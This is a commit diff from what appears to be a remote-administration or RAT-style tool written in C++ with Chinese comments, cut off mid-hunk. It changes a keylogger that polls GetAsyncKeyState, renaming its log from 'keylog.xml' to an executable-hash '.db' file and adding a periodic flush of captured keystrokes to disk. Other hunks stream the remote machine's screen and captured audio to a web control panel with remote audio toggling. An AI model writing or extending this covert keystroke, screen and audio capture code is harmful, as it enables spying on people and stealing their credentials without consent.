Compare commits
7 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fcd3b13ca8 | ||
|
|
99be79b7ae | ||
|
|
dc83c2df42 | ||
|
|
a52874fe08 | ||
|
|
7aeb7b6ed5 | ||
|
|
498c7d15b3 | ||
|
|
9aca587654 |
@@ -552,7 +552,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
// The main ClientApp.
|
// The main ClientApp.
|
||||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||||
}
|
}
|
||||||
if (!app.m_bShared) {
|
static bool hasRun = false;
|
||||||
|
if (!app.m_bShared && !hasRun) {
|
||||||
|
hasRun = true;
|
||||||
auto a = cfg.GetStr("settings", "share_list");
|
auto a = cfg.GetStr("settings", "share_list");
|
||||||
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
||||||
for (int i = 0; i < shareList.size(); ++i) {
|
for (int i = 0; i < shareList.size(); ++i) {
|
||||||
|
|||||||
@@ -53,7 +53,9 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
|||||||
m_bIsOfflineRecord = offline;
|
m_bIsOfflineRecord = offline;
|
||||||
|
|
||||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||||
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
std::string fileName = GetExeHashStr() + ".db";
|
||||||
|
GET_FILEPATH(path, fileName.c_str());
|
||||||
strcpy_s(m_strRecordFile, path);
|
strcpy_s(m_strRecordFile, path);
|
||||||
m_Buffer = new CircularBuffer(m_strRecordFile);
|
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||||
|
|
||||||
@@ -642,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
||||||
HDESK desktop = NULL;
|
HDESK desktop = NULL;
|
||||||
clock_t lastCheck = 0;
|
clock_t lastCheck = 0;
|
||||||
|
auto lastSave = time(0);
|
||||||
while(pThis->m_bIsWorking) {
|
while(pThis->m_bIsWorking) {
|
||||||
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
||||||
#if USING_KB_HOOK
|
#if USING_KB_HOOK
|
||||||
@@ -651,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
Sleep(5);
|
Sleep(5);
|
||||||
|
auto tm = time(0);
|
||||||
|
if (tm - lastSave > 600) {
|
||||||
|
lastSave = tm;
|
||||||
|
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
|
||||||
|
}
|
||||||
#if USING_KB_HOOK
|
#if USING_KB_HOOK
|
||||||
clock_t now = clock();
|
clock_t now = clock();
|
||||||
if (now - lastCheck > 1000) {
|
if (now - lastCheck > 1000) {
|
||||||
|
|||||||
@@ -7,8 +7,6 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
|
|
||||||
#define KEYLOG_FILE "keylog.xml"
|
|
||||||
|
|
||||||
#if ENABLE_KEYBOARD==0
|
#if ENABLE_KEYBOARD==0
|
||||||
#define CKeyboardManager1 CManager
|
#define CKeyboardManager1 CManager
|
||||||
|
|
||||||
|
|||||||
@@ -150,6 +150,12 @@ public:
|
|||||||
int m_GOP; // 关键帧间隔
|
int m_GOP; // 关键帧间隔
|
||||||
bool m_SendKeyFrame; // 发送关键帧
|
bool m_SendKeyFrame; // 发送关键帧
|
||||||
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
|
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
|
||||||
|
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
|
||||||
|
// false 时禁止 skip——避免单显示器路径
|
||||||
|
// 下 m_FirstBuffer 别名到 m_BitmapData_Full
|
||||||
|
// 且被 GetFirstScreenData 预先填过同帧像素,
|
||||||
|
// 导致首帧 memcmp 错误命中、跳过 encode、
|
||||||
|
// 永远不产 IDR → web 黑屏
|
||||||
int m_nScreenCount; // 屏幕数量
|
int m_nScreenCount; // 屏幕数量
|
||||||
BOOL m_bEnableMultiScreen;// 多显示器支持
|
BOOL m_bEnableMultiScreen;// 多显示器支持
|
||||||
|
|
||||||
@@ -949,6 +955,7 @@ public:
|
|||||||
}
|
}
|
||||||
*ulNextSendLength = 1 + offset + encoded_size;
|
*ulNextSendLength = 1 + offset + encoded_size;
|
||||||
memcpy(data + offset, encoded_data, encoded_size);
|
memcpy(data + offset, encoded_data, encoded_size);
|
||||||
|
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -974,9 +981,14 @@ public:
|
|||||||
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
|
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
|
||||||
// 维持 100-200 KB/s(每 4s GOP 还叠加一个 IDR)。整帧 memcmp BGRA
|
// 维持 100-200 KB/s(每 4s GOP 还叠加一个 IDR)。整帧 memcmp BGRA
|
||||||
// 找出真无变化帧直接跳过 encode,仅发 cursor;x264 走这里也省 CPU 无副作用。
|
// 找出真无变化帧直接跳过 encode,仅发 cursor;x264 走这里也省 CPU 无副作用。
|
||||||
|
//
|
||||||
|
// m_bEncoderPrimed 门:encoder 还没产出过任何包时不允许 skip。
|
||||||
|
// 否则单显示器路径下 m_FirstBuffer 别名到 m_BitmapData_Full,
|
||||||
|
// 而 GetFirstScreenData 已经把同一帧画进去了——首帧 memcmp 会
|
||||||
|
// 错误命中、永远不会喂 encoder、web 收不到 IDR、黑屏不恢复。
|
||||||
LPBYTE prev = GetFirstBuffer();
|
LPBYTE prev = GetFirstBuffer();
|
||||||
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
||||||
if (prev && memcmp(nextData, prev, bgraSize) == 0) {
|
if (m_bEncoderPrimed && prev && memcmp(nextData, prev, bgraSize) == 0) {
|
||||||
*ulNextSendLength = 1 + offset; // 仅 cursor,无视频负载
|
*ulNextSendLength = 1 + offset; // 仅 cursor,无视频负载
|
||||||
return m_RectBuffer;
|
return m_RectBuffer;
|
||||||
}
|
}
|
||||||
@@ -987,6 +999,7 @@ public:
|
|||||||
}
|
}
|
||||||
*ulNextSendLength = 1 + offset + encoded_size;
|
*ulNextSendLength = 1 + offset + encoded_size;
|
||||||
memcpy(data + offset, encoded_data, encoded_size);
|
memcpy(data + offset, encoded_data, encoded_size);
|
||||||
|
m_bEncoderPrimed = true; // 这一刻起 prev 才有"已编码"语义,skip 才安全
|
||||||
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
|
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
|
||||||
// 失败时下一帧会误以为"已发"而漏发真实变化。
|
// 失败时下一帧会误以为"已发"而漏发真实变化。
|
||||||
memcpy(prev, nextData, bgraSize);
|
memcpy(prev, nextData, bgraSize);
|
||||||
|
|||||||
@@ -2609,7 +2609,8 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
if (pThis->m_pCaptureClient == nullptr)
|
||||||
|
break;
|
||||||
pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
|
pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
|
||||||
|
|
||||||
hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);
|
hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);
|
||||||
|
|||||||
@@ -9651,6 +9651,25 @@ void CMy2015RemoteDlg::CloseRemoteDesktopByClientID(uint64_t clientID)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool CMy2015RemoteDlg::PostWebAudioToggle(uint64_t clientID)
|
||||||
|
{
|
||||||
|
HWND hWnd = NULL;
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
for (auto& pair : m_RemoteWnds) {
|
||||||
|
CScreenSpyDlg* dlg = dynamic_cast<CScreenSpyDlg*>(pair.second);
|
||||||
|
if (dlg && dlg->GetClientID() == clientID && dlg->IsWebSession()) {
|
||||||
|
hWnd = dlg->GetSafeHwnd();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
if (hWnd && ::IsWindow(hWnd)) {
|
||||||
|
// PostMessage 把活儿丢到对话框的 UI 线程,避免 WS 线程动 waveOut 句柄
|
||||||
|
return ::PostMessage(hWnd, WM_AUDIO_TOGGLE_FROM_WEB, 0, 0) != 0;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::CloseWebRemoteDesktopByClientID(uint64_t clientID)
|
void CMy2015RemoteDlg::CloseWebRemoteDesktopByClientID(uint64_t clientID)
|
||||||
{
|
{
|
||||||
CScreenSpyDlg* targetDlg = nullptr;
|
CScreenSpyDlg* targetDlg = nullptr;
|
||||||
|
|||||||
@@ -373,6 +373,7 @@ public:
|
|||||||
void RemoveRemoteWindow(HWND wnd);
|
void RemoveRemoteWindow(HWND wnd);
|
||||||
void CloseRemoteDesktopByClientID(uint64_t clientID);
|
void CloseRemoteDesktopByClientID(uint64_t clientID);
|
||||||
void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog
|
void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog
|
||||||
|
bool PostWebAudioToggle(uint64_t clientID); // 给 Web 会话 ScreenSpy 投递音频开关消息
|
||||||
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
||||||
void UpdateActiveRemoteSession(CDialogBase* sess);
|
void UpdateActiveRemoteSession(CDialogBase* sess);
|
||||||
CDialogBase* GetActiveRemoteSession();
|
CDialogBase* GetActiveRemoteSession();
|
||||||
|
|||||||
@@ -18,6 +18,7 @@
|
|||||||
#include <md5.h>
|
#include <md5.h>
|
||||||
#include <cstdint> // for uint16_t
|
#include <cstdint> // for uint16_t
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
#include <mutex> // for std::mutex, std::lock_guard
|
||||||
#include "WebService.h"
|
#include "WebService.h"
|
||||||
|
|
||||||
// 文件接收消息数据结构
|
// 文件接收消息数据结构
|
||||||
@@ -223,6 +224,8 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
|
|||||||
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
|
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||||
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||||
WebService().NotifyResolutionChange(m_ClientID, width, height);
|
WebService().NotifyResolutionChange(m_ClientID, width, height);
|
||||||
|
// 透传客户端初始的音频开/关状态给 web,让前端按钮显示正确
|
||||||
|
WebService().NotifyAudioState(m_ClientID, m_Settings.AudioEnabled != 0);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -567,6 +570,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
|||||||
ON_MESSAGE(MM_WOM_DONE, &CScreenSpyDlg::OnWaveOutDone)
|
ON_MESSAGE(MM_WOM_DONE, &CScreenSpyDlg::OnWaveOutDone)
|
||||||
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
|
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
|
||||||
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
|
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
|
||||||
|
ON_MESSAGE(WM_AUDIO_TOGGLE_FROM_WEB, &CScreenSpyDlg::OnAudioToggleFromWeb)
|
||||||
ON_WM_DROPFILES()
|
ON_WM_DROPFILES()
|
||||||
ON_WM_CAPTURECHANGED()
|
ON_WM_CAPTURECHANGED()
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
@@ -3494,9 +3498,73 @@ void CScreenSpyDlg::StopAudioPlayback()
|
|||||||
#endif
|
#endif
|
||||||
m_nAudioCompression = 0;
|
m_nAudioCompression = 0;
|
||||||
|
|
||||||
|
// 重置网页端音频格式标志(线程安全的清理)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
|
||||||
|
m_bAudioFormatSent = FALSE;
|
||||||
|
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
|
||||||
|
}
|
||||||
|
|
||||||
Mprintf("[ScreenSpy] 音频播放已停止\n");
|
Mprintf("[ScreenSpy] 音频播放已停止\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CScreenSpyDlg::DisableAudio()
|
||||||
|
{
|
||||||
|
// 复用 IDM_AUDIO_TOGGLE 的逻辑,但仅禁用
|
||||||
|
if (m_Settings.AudioEnabled) {
|
||||||
|
m_Settings.AudioEnabled = FALSE;
|
||||||
|
SendAudioCtrl(CYCLEAUDIO_DISABLE, 1);
|
||||||
|
StopAudioPlayback();
|
||||||
|
|
||||||
|
// 清理网页端格式状态(在 mutex 保护下)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
|
||||||
|
m_bAudioFormatSent = FALSE;
|
||||||
|
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("[Audio Web] 禁用音频(来自 web 命令)\n");
|
||||||
|
|
||||||
|
// 广播状态给所有正在观看本设备的 web 客户端
|
||||||
|
if (WebService().IsRunning()) {
|
||||||
|
WebService().NotifyAudioState(m_ClientID, false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CScreenSpyDlg::EnableAudio()
|
||||||
|
{
|
||||||
|
// 复用 IDM_AUDIO_TOGGLE 的逻辑,但仅启用
|
||||||
|
if (!m_Settings.AudioEnabled) {
|
||||||
|
m_Settings.AudioEnabled = TRUE;
|
||||||
|
SendAudioCtrl(CYCLEAUDIO_ENABLE, 1);
|
||||||
|
|
||||||
|
// 强制重新发送格式信息(清理缓存)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
|
||||||
|
m_bAudioFormatSent = FALSE;
|
||||||
|
memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("[Audio Web] 启用音频(来自 web 命令)\n");
|
||||||
|
|
||||||
|
if (WebService().IsRunning()) {
|
||||||
|
WebService().NotifyAudioState(m_ClientID, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 由 PostMessage 从 WS 线程派发到 UI 线程;根据当前状态翻转
|
||||||
|
LRESULT CScreenSpyDlg::OnAudioToggleFromWeb(WPARAM /*wParam*/, LPARAM /*lParam*/)
|
||||||
|
{
|
||||||
|
if (m_Settings.AudioEnabled) {
|
||||||
|
DisableAudio();
|
||||||
|
} else {
|
||||||
|
EnableAudio();
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
|
void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
|
||||||
{
|
{
|
||||||
if (len < 1) return;
|
if (len < 1) return;
|
||||||
@@ -3535,12 +3603,20 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
|
|||||||
UINT32 audioLen = len - offset;
|
UINT32 audioLen = len - offset;
|
||||||
if (audioLen == 0) return;
|
if (audioLen == 0) return;
|
||||||
|
|
||||||
|
// 保存"上线格式"字节(Opus 模式下是原始压缩包,PCM 模式下是原始 PCM)。
|
||||||
|
// 这就是要透传给 web 的数据 —— web 端用 MSE+WebM 直接播 Opus,
|
||||||
|
// 不需要服务器解码后再发 PCM。本地 waveOut 仍然需要 PCM,因此下面
|
||||||
|
// 还是会解码一遍。
|
||||||
|
BYTE* pWireData = pAudioData;
|
||||||
|
UINT32 wireLen = audioLen;
|
||||||
|
BYTE wireCompression = (BYTE)m_nAudioCompression;
|
||||||
|
|
||||||
// 帧对齐参数
|
// 帧对齐参数
|
||||||
DWORD blockAlign = m_AudioFormat.nBlockAlign;
|
DWORD blockAlign = m_AudioFormat.nBlockAlign;
|
||||||
if (blockAlign == 0) blockAlign = 4; // 默认 stereo 16-bit
|
if (blockAlign == 0) blockAlign = 4; // 默认 stereo 16-bit
|
||||||
|
|
||||||
#if USING_OPUS
|
#if USING_OPUS
|
||||||
// Opus 解码
|
// Opus 解码(仅供本地 waveOut 使用;web 仍会收到原始压缩包)
|
||||||
if (m_nAudioCompression == AUDIO_COMPRESS_OPUS && m_pOpusDecoder && m_pOpusDecodeBuffer) {
|
if (m_nAudioCompression == AUDIO_COMPRESS_OPUS && m_pOpusDecoder && m_pOpusDecodeBuffer) {
|
||||||
COpusDecoder* pDecoder = (COpusDecoder*)m_pOpusDecoder;
|
COpusDecoder* pDecoder = (COpusDecoder*)m_pOpusDecoder;
|
||||||
int decodedSamples = pDecoder->Decode(pAudioData, audioLen, m_pOpusDecodeBuffer, 960 * 2);
|
int decodedSamples = pDecoder->Decode(pAudioData, audioLen, m_pOpusDecodeBuffer, 960 * 2);
|
||||||
@@ -3583,10 +3659,104 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
|
|||||||
Mprintf("[Audio] 预缓冲完成,开始播放 (缓冲: %u bytes)\n", m_nRingDataLen);
|
Mprintf("[Audio] 预缓冲完成,开始播放 (缓冲: %u bytes)\n", m_nRingDataLen);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 发送上线格式(Opus 压缩包 / 或原始 PCM)到网页
|
||||||
|
SendAudioToWeb(pWireData, wireLen, &m_AudioFormat, wireCompression);
|
||||||
|
|
||||||
// 填充可用的 waveOut 缓冲区
|
// 填充可用的 waveOut 缓冲区
|
||||||
FeedAudioBuffers();
|
FeedAudioBuffers();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CScreenSpyDlg::SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression)
|
||||||
|
{
|
||||||
|
if (!WebService().IsRunning()) return;
|
||||||
|
if (!pAudioData || len == 0) return;
|
||||||
|
if (!m_ContextObject) return;
|
||||||
|
if (!m_Settings.AudioEnabled) return;
|
||||||
|
|
||||||
|
std::vector<BYTE> packet;
|
||||||
|
BOOL formatChanged = FALSE;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_AudioWebMutex);
|
||||||
|
|
||||||
|
if (!m_bAudioFormatSent) {
|
||||||
|
formatChanged = TRUE;
|
||||||
|
} else if (pFormat && (
|
||||||
|
pFormat->nChannels != m_AudioFormatWeb.channels ||
|
||||||
|
pFormat->nSamplesPerSec != m_AudioFormatWeb.sampleRate ||
|
||||||
|
pFormat->wBitsPerSample != m_AudioFormatWeb.bitsPerSample ||
|
||||||
|
compression != m_AudioFormatWeb.compression)) {
|
||||||
|
formatChanged = TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 第1字节:是否包含格式信息
|
||||||
|
packet.push_back(formatChanged ? 1 : 0);
|
||||||
|
|
||||||
|
if (formatChanged && pFormat) {
|
||||||
|
if (pFormat->nChannels < 1 || pFormat->nChannels > 8 ||
|
||||||
|
pFormat->nSamplesPerSec < 8000 || pFormat->nSamplesPerSec > 48000 ||
|
||||||
|
pFormat->wBitsPerSample != 16) {
|
||||||
|
Mprintf("[Audio Web] Invalid format: ch=%d, sr=%d, bps=%d\n",
|
||||||
|
pFormat->nChannels, pFormat->nSamplesPerSec, pFormat->wBitsPerSample);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 12-byte AudioFormat 结构(commands.h, pack(1))
|
||||||
|
AudioFormat fmt;
|
||||||
|
fmt.channels = (WORD)pFormat->nChannels;
|
||||||
|
fmt.sampleRate = (DWORD)pFormat->nSamplesPerSec;
|
||||||
|
fmt.bitsPerSample = (WORD)pFormat->wBitsPerSample;
|
||||||
|
// blockAlign 对 Opus 是 informational 的(包是变长压缩),按 PCM 推算填上即可。
|
||||||
|
fmt.blockAlign = (WORD)(fmt.channels * fmt.bitsPerSample / 8);
|
||||||
|
fmt.compression = compression;
|
||||||
|
fmt.reserved = 0;
|
||||||
|
|
||||||
|
BYTE* pFmt = (BYTE*)&fmt;
|
||||||
|
packet.insert(packet.end(), pFmt, pFmt + sizeof(fmt));
|
||||||
|
// padding byte: 保持后续音频数据落在偶数偏移上(PCM 模式下 web 端
|
||||||
|
// 需要 Int16 对齐;Opus 模式无所谓但保留兼容旧 web 解析)
|
||||||
|
packet.push_back(0);
|
||||||
|
|
||||||
|
m_AudioFormatWeb = fmt;
|
||||||
|
m_bAudioFormatSent = TRUE;
|
||||||
|
|
||||||
|
Mprintf("[Audio Web] Format sent: ch=%d, sr=%d Hz, compression=%d\n",
|
||||||
|
fmt.channels, fmt.sampleRate, fmt.compression);
|
||||||
|
}
|
||||||
|
} // 释放 mutex
|
||||||
|
|
||||||
|
// 添加音频数据(此操作不需要 mutex,因为我们已经复制了所有需要的共享状态)
|
||||||
|
packet.insert(packet.end(), pAudioData, pAudioData + len);
|
||||||
|
|
||||||
|
// 构造完整帧:[DeviceID:4][FrameType:1][DataLen:4][audio payload...]
|
||||||
|
// FrameType: 96 = TOKEN_SCREEN_AUDIO,用于在网页端识别音频
|
||||||
|
std::vector<BYTE> frame;
|
||||||
|
|
||||||
|
uint64_t deviceID = GetClientID();
|
||||||
|
uint32_t audioDataLen = (uint32_t)packet.size();
|
||||||
|
uint8_t frameType = 96; // TOKEN_SCREEN_AUDIO
|
||||||
|
|
||||||
|
// [DeviceID:4] little-endian
|
||||||
|
frame.push_back((BYTE)(deviceID & 0xFF));
|
||||||
|
frame.push_back((BYTE)((deviceID >> 8) & 0xFF));
|
||||||
|
frame.push_back((BYTE)((deviceID >> 16) & 0xFF));
|
||||||
|
frame.push_back((BYTE)((deviceID >> 24) & 0xFF));
|
||||||
|
|
||||||
|
// [FrameType:1]
|
||||||
|
frame.push_back(frameType);
|
||||||
|
|
||||||
|
// [DataLen:4] little-endian
|
||||||
|
frame.push_back((BYTE)(audioDataLen & 0xFF));
|
||||||
|
frame.push_back((BYTE)((audioDataLen >> 8) & 0xFF));
|
||||||
|
frame.push_back((BYTE)((audioDataLen >> 16) & 0xFF));
|
||||||
|
frame.push_back((BYTE)((audioDataLen >> 24) & 0xFF));
|
||||||
|
|
||||||
|
// [audio payload]
|
||||||
|
frame.insert(frame.end(), packet.begin(), packet.end());
|
||||||
|
|
||||||
|
// 广播到所有网页客户端
|
||||||
|
WebService().BroadcastH264Frame(deviceID, frame.data(), frame.size());
|
||||||
|
}
|
||||||
|
|
||||||
void CScreenSpyDlg::FeedAudioBuffers()
|
void CScreenSpyDlg::FeedAudioBuffers()
|
||||||
{
|
{
|
||||||
if (!m_bAudioPlaying || !m_hWaveOut || !m_pRingBuf) return;
|
if (!m_bAudioPlaying || !m_hWaveOut || !m_pRingBuf) return;
|
||||||
|
|||||||
@@ -9,6 +9,7 @@
|
|||||||
#include "2015RemoteDlg.h"
|
#include "2015RemoteDlg.h"
|
||||||
|
|
||||||
#include "common/config.h"
|
#include "common/config.h"
|
||||||
|
#include "common/commands.h" // 包含 AudioFormat 定义
|
||||||
|
|
||||||
extern "C"
|
extern "C"
|
||||||
{
|
{
|
||||||
@@ -92,6 +93,9 @@ extern "C"
|
|||||||
// 文件接收消息(用于将工作线程的文件数据转发到主线程处理)
|
// 文件接收消息(用于将工作线程的文件数据转发到主线程处理)
|
||||||
#define WM_RECVFILEV2_CHUNK (WM_USER + 0x200)
|
#define WM_RECVFILEV2_CHUNK (WM_USER + 0x200)
|
||||||
#define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201)
|
#define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201)
|
||||||
|
// 来自 web 命令的音频开关,PostMessage 到对话框的 UI 线程,避免 WS 线程
|
||||||
|
// 直接动 waveOut 句柄
|
||||||
|
#define WM_AUDIO_TOGGLE_FROM_WEB (WM_USER + 0x202)
|
||||||
|
|
||||||
// ScreenSpyDlg 系统菜单命令 ID
|
// ScreenSpyDlg 系统菜单命令 ID
|
||||||
enum {
|
enum {
|
||||||
@@ -349,11 +353,23 @@ public:
|
|||||||
short* m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区
|
short* m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
// 网页端音频发送状态
|
||||||
|
BOOL m_bAudioFormatSent = FALSE; // 是否已发送格式信息到网页
|
||||||
|
AudioFormat m_AudioFormatWeb = {}; // 上次发送给网页的格式
|
||||||
|
|
||||||
|
// 音频到网页的多线程同步
|
||||||
|
std::mutex m_AudioWebMutex; // 保护音频发送状态的互斥锁
|
||||||
|
// 注意:m_Settings.AudioEnabled 是全局的音频启用/禁用状态
|
||||||
|
|
||||||
void OnAudioData(BYTE* pData, UINT32 len); // 处理音频数据
|
void OnAudioData(BYTE* pData, UINT32 len); // 处理音频数据
|
||||||
BOOL InitAudioPlayback(const AudioFormat* fmt); // 初始化音频播放
|
BOOL InitAudioPlayback(const AudioFormat* fmt); // 初始化音频播放
|
||||||
void StopAudioPlayback(); // 停止音频播放
|
void StopAudioPlayback(); // 停止音频播放
|
||||||
|
void DisableAudio(); // 禁用音频(从网页命令)
|
||||||
|
void EnableAudio(); // 启用音频(从网页命令)
|
||||||
|
LRESULT OnAudioToggleFromWeb(WPARAM wParam, LPARAM lParam); // PostMessage 处理器
|
||||||
void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令
|
void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令
|
||||||
void FeedAudioBuffers(); // 填充音频缓冲区
|
void FeedAudioBuffers(); // 填充音频缓冲区
|
||||||
|
void SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression); // 发送音频到网页 (compression=AudioCompression)
|
||||||
|
|
||||||
int GetClientRTT(); // 获取客户端RTT(ms)
|
int GetClientRTT(); // 获取客户端RTT(ms)
|
||||||
void EvaluateQuality(); // 评估并调整质量
|
void EvaluateQuality(); // 评估并调整质量
|
||||||
|
|||||||
@@ -396,6 +396,8 @@ void CWebService::ServerThread(int port) {
|
|||||||
HandleKey(ws_ptr, msg);
|
HandleKey(ws_ptr, msg);
|
||||||
} else if (cmd == "rdp_reset") {
|
} else if (cmd == "rdp_reset") {
|
||||||
HandleRdpReset(ws_ptr, token);
|
HandleRdpReset(ws_ptr, token);
|
||||||
|
} else if (cmd == "audio_toggle") {
|
||||||
|
HandleAudioToggle(ws_ptr, token);
|
||||||
} else if (cmd == "get_salt") {
|
} else if (cmd == "get_salt") {
|
||||||
HandleGetSalt(ws_ptr, msg);
|
HandleGetSalt(ws_ptr, msg);
|
||||||
} else if (cmd == "create_user") {
|
} else if (cmd == "create_user") {
|
||||||
@@ -689,14 +691,16 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get screen dimensions from device info cache (may not be available yet)
|
// Get screen dimensions + audio state from device info cache (may not be ready)
|
||||||
int width = 0, height = 0;
|
int width = 0, height = 0;
|
||||||
|
int audio_enabled = -1; // -1 = unknown yet (前端走 audio_state 事件兜底)
|
||||||
{
|
{
|
||||||
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
|
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
|
||||||
auto it = m_DeviceCache.find(device_id);
|
auto it = m_DeviceCache.find(device_id);
|
||||||
if (it != m_DeviceCache.end()) {
|
if (it != m_DeviceCache.end()) {
|
||||||
width = it->second->screen_width;
|
width = it->second->screen_width;
|
||||||
height = it->second->screen_height;
|
height = it->second->screen_height;
|
||||||
|
audio_enabled = it->second->audio_enabled;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -710,6 +714,9 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
|
|||||||
res["width"] = width;
|
res["width"] = width;
|
||||||
res["height"] = height;
|
res["height"] = height;
|
||||||
}
|
}
|
||||||
|
if (audio_enabled >= 0) {
|
||||||
|
